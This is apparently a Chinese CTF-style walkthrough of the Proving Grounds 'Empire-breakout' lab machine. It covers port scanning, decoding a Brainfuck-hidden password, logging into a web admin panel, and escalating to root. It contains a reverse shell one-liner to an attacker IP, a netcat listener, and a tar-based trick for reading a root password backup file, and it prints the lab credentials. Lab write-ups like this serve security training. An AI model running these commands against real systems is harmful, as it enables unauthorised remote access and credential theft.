Empire-breakout | Easy-Hard Proving ground play

Empire-breakout | Easy-Hard

一、枚举/信息搜集

首先,我们使用NMAP进行信息搜集,使用全端口的扫描可能比较消耗时间,但是不会有所遗漏

nmap -p- -A -oN nmap_scan 192.168.171.238

Empire-breakout | Easy-Hard Proving ground play_第1张图片

分析下我们的扫描结果,该盒子一共开了三个端口,80、10000、20000,很明显这个靶场需要我们从web页面打进去
Empire-breakout | Easy-Hard Proving ground play_第2张图片
先看一下默认的80端口网站,是一个apache默认页面

Empire-breakout | Easy-Hard Proving ground play_第3张图片

下意识访问网站页面源代码,看到了一段可疑的加密密文,如果熟悉Crypto题目的话可以很明显看出是Brainfuck加密
Empire-breakout | Easy-Hard Proving ground play_第4张图片
进行解密后,结果如下,我们对解密后的结果进行保存,分析可能为后面的某个用户的密码

二、权限获取

这里就出现了这题最大的bug,本来这个靶机是开SMB服务的,在这里使用enumlinux进行枚举就能获取到用户名为cyber,(官方walkingthrough给的也是,呵呵)但是这个靶场进行了修改,关了smb服务,就没有其他方法能获取到cyber用户名,正常思路可以通过爆破查回显来爆破用户名,但是就显得复杂了,我们就直接使用cyber进行测试
Empire-breakout | Easy-Hard Proving ground play_第5张图片

使用前面解密出来的用户名:cyber和密码:.2uqPEfj3D

Empire-breakout | Easy-Hard Proving ground play_第6张图片

20000端口登录成功,进入后台

Empire-breakout | Easy-Hard Proving ground play_第7张图片
注意左下角有命令执行页面,利用下可以弹个shell回去

Empire-breakout | Easy-Hard Proving ground play_第8张图片

三、权限提升

我们通过构造简单re-shell获取本地shell

nc -nlvp 6666 //先设置本地监听
sh -i >& /dev/tcp/192.168.45.5/6666 0>&1  //反弹shell
python3 -c "import pty;pty.spawn('/bin/bash')" //稳定shell

Empire-breakout | Easy-Hard Proving ground play_第9张图片

这里可以获得第一个flag
Empire-breakout | Easy-Hard Proving ground play_第10张图片

Empire-breakout | Easy-Hard Proving ground play_第11张图片
在tmp目录下上传linpeas进行扫描,可以看出来home目录下有一个可疑的tar文件有读取权限

Empire-breakout | Easy-Hard Proving ground play_第12张图片

再进行信息搜集,其中/var/backups目录下有一个.old_pass.bak文件,应该是root的密码,但是很遗憾,我们没有执行权限,这里再利用前面我们用linpeas发现的tar文件,构造命令进行提权

./tar -cf pass.tar /var/backups/.old_pass.bak //压缩old文件
tar -xf pass.tar  //解压
cat var/backups/.old_pass.bak //获取密码

Empire-breakout | Easy-Hard Proving ground play_第13张图片

成功获取到root密码:Ts&4&YurgtRX(=~h

Empire-breakout | Easy-Hard Proving ground play_第14张图片

登录root shell,第二个flag成功获取!

四、复盘

开始的cyber的确有大问题,应该是靶场修改了,第一次做的时候卡了,其余都为常规操作。ps:从这一期开始将持续更新pg系列,大家敬请期待!

你可能感兴趣的:(apache,服务器,网络,python)